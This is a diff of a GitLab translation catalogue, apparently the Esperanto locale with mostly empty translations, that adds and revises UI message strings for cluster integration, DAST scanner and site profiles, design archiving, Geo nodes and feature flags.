-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Propraj sciigaj eventoj"
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr "Forigi"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
